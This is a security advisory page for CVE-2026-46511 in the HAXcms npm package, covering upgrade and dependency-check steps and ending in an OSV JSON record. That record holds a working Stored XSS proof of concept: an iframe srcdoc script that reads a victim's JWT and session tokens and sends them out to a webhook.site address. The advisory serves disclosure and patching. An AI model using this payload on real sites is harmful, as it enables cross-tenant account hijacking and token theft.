CVE-2026-46511: HAXcms Mass Token Exfiltration And Cross-Tenant Vulnerability
HIGHCVE-2026-46511 is a HIGH mass token exfiltration and cross-tenant vulnerability (CWE-922: Insecure Storage of Sensitive Information) affecting HAXcms libraries in the npm ecosystem. The issue involves mass token exfiltration and cross-tenant hijack. Remediation is available by upgrading affected packages to version 26.0.0.
CVE-2026-46511 at a Glance
How to Fix CVE-2026-46511
To remediate this vulnerability, upgrade all affected HAXcms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @haxtheweb/haxcms-nodejs@26.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @haxtheweb/haxcms-nodejs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46511, inspect your project dependencies using npm:
npm ls @haxtheweb/haxcms-nodejs
Analyze the terminal output to locate any version of HAXcms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.0.0), your application is affected.
Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-922: Insecure Storage of Sensitive Information, where the product stores sensitive information without properly limiting read or write access by unauthorized actors. In HAXcms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46511 Affected HAXcms Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@haxtheweb/haxcms-nodejs
|
npm |
< 26.0.0
|
26.0.0
|
References
Frequently Asked Questions
What is CVE-2026-46511?
Which HAXcms versions are affected?
What version fixes CVE-2026-46511?
Is @haxtheweb/haxcms-nodejs affected?
What CWE is associated with CVE-2026-46511?
How can I check npm dependencies for CVE-2026-46511?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x3x5-7h4h-gwxg",
"modified" : "2026-06-09T11:56:58Z",
"published" : "2026-05-19T14:47:03Z",
"aliases" : [ "CVE-2026-46511" ],
"summary" : "HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack ",
"details" : "### Summary\nAn attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.\n\n### Details\nIn `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a \"skeleton key\" because it aggregates all necessary operational tokens for the active session. \n\nWhile HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:\n1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`).\n2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys.\n3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.\n\n### PoC\n**1. Setup the Webhook Target**\nPrepare an external webhook (e.g., `webhook.site`) to receive the stolen data.\n\n**2. Inject the \"Kill Chain\" Payload**\nAs an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`):\n\n```html\n<iframe srcdoc=\"<script>\n const targetUsername = 'bto108'; // Replace with target victim\n\n fetch(`/${targetUsername}/system/api/connectionSettings`)\n .then(res => res.text())\n .then(data => {\n const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));\n \n const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');\n const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');\n \n let aToken = 'N/A';\n if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {\n aToken = s.appStore.params.appstore_token;\n }\n\n // Exfiltrate via Image Request to bypass CORS\n const payload = btoa(JSON.stringify({\n target: targetUsername, \n jwt: s.jwt, \n user_token: uToken, \n site_token: sToken, \n appstore_token: aToken\n }));\n \n new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;\n });\n</script>\" style=\"display:none\"></iframe>\n```\n\n**3. Execution & Verification**\n- When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie.\n- The server responds with their connection settings.\n- The script parses their `jwt`, `user_token`, and other keys, encoding them in base64.\n- The attacker receives the full JWT and token dump on their webhook.\n\n*Screenshots confirming the data leakage and webhook capture:*\n\n\n\n\n\n\n\n### Impact\n**Critical Severity.** \nThis attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).\n\nThe reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@haxtheweb/haxcms-nodejs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.0.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 25.0.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-x3x5-7h4h-gwxg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46511"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/haxtheweb/issues"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-522", "CWE-79", "CWE-922" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T14:47:03Z",
"nvd_published_at" : "2026-06-05T19:16:34Z"
}
}